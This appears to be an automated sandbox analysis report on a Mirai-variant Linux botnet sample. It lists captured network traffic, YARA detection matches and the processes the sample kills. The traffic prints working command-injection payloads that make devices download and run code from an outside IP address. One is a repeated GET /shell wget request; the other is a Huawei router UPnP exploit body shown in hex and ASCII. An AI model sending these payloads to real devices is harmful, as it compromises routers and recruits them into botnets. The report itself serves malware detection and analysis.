Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive

Source: global traffic

DNS traffic detected: DNS query: raw.igxhost.ru

Source: unknown

HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: z0r0.x86.elf, 6234.1.0000000008048000.0000000008058000.r-x.sdmp, z0r0.x86.elf, 6236.1.0000000008048000.0000000008058000.r-x.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: z0r0.x86.elf, 6234.1.0000000008048000.0000000008058000.r-x.sdmp, z0r0.x86.elf, 6236.1.0000000008048000.0000000008058000.r-x.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: z0r0.x86.elf	String found in binary or memory: http://upx.sf.net

Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42836 -> 443

System Summary

Malicious sample detected (through community Yara rule)

Source: 6234.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_fa3ad9d0 Author: unknown
Source: 6234.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_b14f4c5d Author: unknown
Source: 6234.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_93fc3657 Author: unknown
Source: 6234.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_804f8e7c Author: unknown
Source: 6234.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_99d78950 Author: unknown
Source: 6234.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_a68e498c Author: unknown
Source: 6234.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_88de437f Author: unknown
Source: 6234.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_ae9d0fa6 Author: unknown
Source: 6234.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 6234.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6234.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 6234.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: 6236.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_fa3ad9d0 Author: unknown
Source: 6236.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_b14f4c5d Author: unknown
Source: 6236.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_93fc3657 Author: unknown
Source: 6236.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_804f8e7c Author: unknown
Source: 6236.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_99d78950 Author: unknown
Source: 6236.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_a68e498c Author: unknown
Source: 6236.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_88de437f Author: unknown
Source: 6236.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_ae9d0fa6 Author: unknown
Source: 6236.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 6236.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6236.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 6236.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF Mirai variant Author: Florian Roth

Sample tries to kill multiple processes (SIGKILL)

Source: /tmp/z0r0.x86.elf (PID: 6241)	SIGKILL sent: pid: 2018, result: successful	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 6241)	SIGKILL sent: pid: 2077, result: successful	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 6241)	SIGKILL sent: pid: 2078, result: successful	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 6241)	SIGKILL sent: pid: 2079, result: successful	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 6241)	SIGKILL sent: pid: 2080, result: successful	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 6241)	SIGKILL sent: pid: 2083, result: successful	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 6241)	SIGKILL sent: pid: 2084, result: successful	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 6241)	SIGKILL sent: pid: 2156, result: successful	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 6241)	SIGKILL sent: pid: 6244, result: successful	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 6241)	SIGKILL sent: pid: 6245, result: successful	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 6241)	SIGKILL sent: pid: 6246, result: successful	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 6241)	SIGKILL sent: pid: 6247, result: successful	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 6241)	SIGKILL sent: pid: 6248, result: successful	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 6241)	SIGKILL sent: pid: 6249, result: successful	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 6241)	SIGKILL sent: pid: 6264, result: successful	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 6241)	SIGKILL sent: pid: 6272, result: successful	Jump to behavior

Source: LOAD without section mappings

Program segment: 0x8048000

Source: /tmp/z0r0.x86.elf (PID: 6241)	SIGKILL sent: pid: 2018, result: successful	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 6241)	SIGKILL sent: pid: 2077, result: successful	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 6241)	SIGKILL sent: pid: 2078, result: successful	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 6241)	SIGKILL sent: pid: 2079, result: successful	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 6241)	SIGKILL sent: pid: 2080, result: successful	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 6241)	SIGKILL sent: pid: 2083, result: successful	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 6241)	SIGKILL sent: pid: 2084, result: successful	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 6241)	SIGKILL sent: pid: 2156, result: successful	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 6241)	SIGKILL sent: pid: 6244, result: successful	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 6241)	SIGKILL sent: pid: 6245, result: successful	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 6241)	SIGKILL sent: pid: 6246, result: successful	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 6241)	SIGKILL sent: pid: 6247, result: successful	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 6241)	SIGKILL sent: pid: 6248, result: successful	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 6241)	SIGKILL sent: pid: 6249, result: successful	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 6241)	SIGKILL sent: pid: 6264, result: successful	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 6241)	SIGKILL sent: pid: 6272, result: successful	Jump to behavior

Source: 6234.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_fa3ad9d0 reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = fe93a3552b72b107f95cc5a7e59da64fe84d31df833bf36c81d8f31d8d79d7ca, id = fa3ad9d0-7c55-4621-90fc-6b154c44a67b, last_modified = 2021-09-16
Source: 6234.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_b14f4c5d os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = a70d052918dd2fbc66db241da6438015130f0fb6929229bfe573546fe98da817, id = b14f4c5d-054f-46e6-9fa8-3588f1ef68b7, last_modified = 2021-09-16
Source: 6234.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_93fc3657 reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = d01a9e85a01fad913ca048b60bda1e5a2762f534e5308132c1d3098ac3f561ee, id = 93fc3657-fd21-4e93-a728-c084fc0a6a4a, last_modified = 2021-09-16
Source: 6234.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_804f8e7c reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 1080d8502848d532a0b38861437485d98a41d945acaf3cb676a7a2a2f6793ac6, id = 804f8e7c-4786-42bc-92e4-c68c24ca530e, last_modified = 2021-09-16
Source: 6234.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_99d78950 reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 3008edc4e7a099b64139a77d15ec0e2c3c1b55fc23ab156304571c4d14bc654c, id = 99d78950-ea23-4166-a85a-7a029209f5b1, last_modified = 2021-09-16
Source: 6234.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_a68e498c reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 951c9dfcba531e5112c872395f6c144c4bc8b71c666d2c7d9d8574a23c163883, id = a68e498c-0768-4321-ab65-42dd6ef85323, last_modified = 2021-09-16
Source: 6234.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_88de437f reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = c19eb595c2b444a809bef8500c20342c9f46694d3018e268833f9b884133a1ea, id = 88de437f-9c98-4e1d-96c0-7b433c99886a, last_modified = 2021-09-16
Source: 6234.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_ae9d0fa6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = ca2bf2771844bec95563800d19a35dd230413f8eff0bd44c8ab0b4c596f81bfc, id = ae9d0fa6-be06-4656-9b13-8edfc0ee9e71, last_modified = 2021-09-16
Source: 6234.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 6234.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6234.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 6234.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: 6236.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_fa3ad9d0 reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = fe93a3552b72b107f95cc5a7e59da64fe84d31df833bf36c81d8f31d8d79d7ca, id = fa3ad9d0-7c55-4621-90fc-6b154c44a67b, last_modified = 2021-09-16
Source: 6236.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_b14f4c5d os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = a70d052918dd2fbc66db241da6438015130f0fb6929229bfe573546fe98da817, id = b14f4c5d-054f-46e6-9fa8-3588f1ef68b7, last_modified = 2021-09-16
Source: 6236.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_93fc3657 reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = d01a9e85a01fad913ca048b60bda1e5a2762f534e5308132c1d3098ac3f561ee, id = 93fc3657-fd21-4e93-a728-c084fc0a6a4a, last_modified = 2021-09-16
Source: 6236.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_804f8e7c reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 1080d8502848d532a0b38861437485d98a41d945acaf3cb676a7a2a2f6793ac6, id = 804f8e7c-4786-42bc-92e4-c68c24ca530e, last_modified = 2021-09-16
Source: 6236.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_99d78950 reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 3008edc4e7a099b64139a77d15ec0e2c3c1b55fc23ab156304571c4d14bc654c, id = 99d78950-ea23-4166-a85a-7a029209f5b1, last_modified = 2021-09-16
Source: 6236.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_a68e498c reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 951c9dfcba531e5112c872395f6c144c4bc8b71c666d2c7d9d8574a23c163883, id = a68e498c-0768-4321-ab65-42dd6ef85323, last_modified = 2021-09-16
Source: 6236.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_88de437f reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = c19eb595c2b444a809bef8500c20342c9f46694d3018e268833f9b884133a1ea, id = 88de437f-9c98-4e1d-96c0-7b433c99886a, last_modified = 2021-09-16
Source: 6236.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_ae9d0fa6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = ca2bf2771844bec95563800d19a35dd230413f8eff0bd44c8ab0b4c596f81bfc, id = ae9d0fa6-be06-4656-9b13-8edfc0ee9e71, last_modified = 2021-09-16
Source: 6236.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
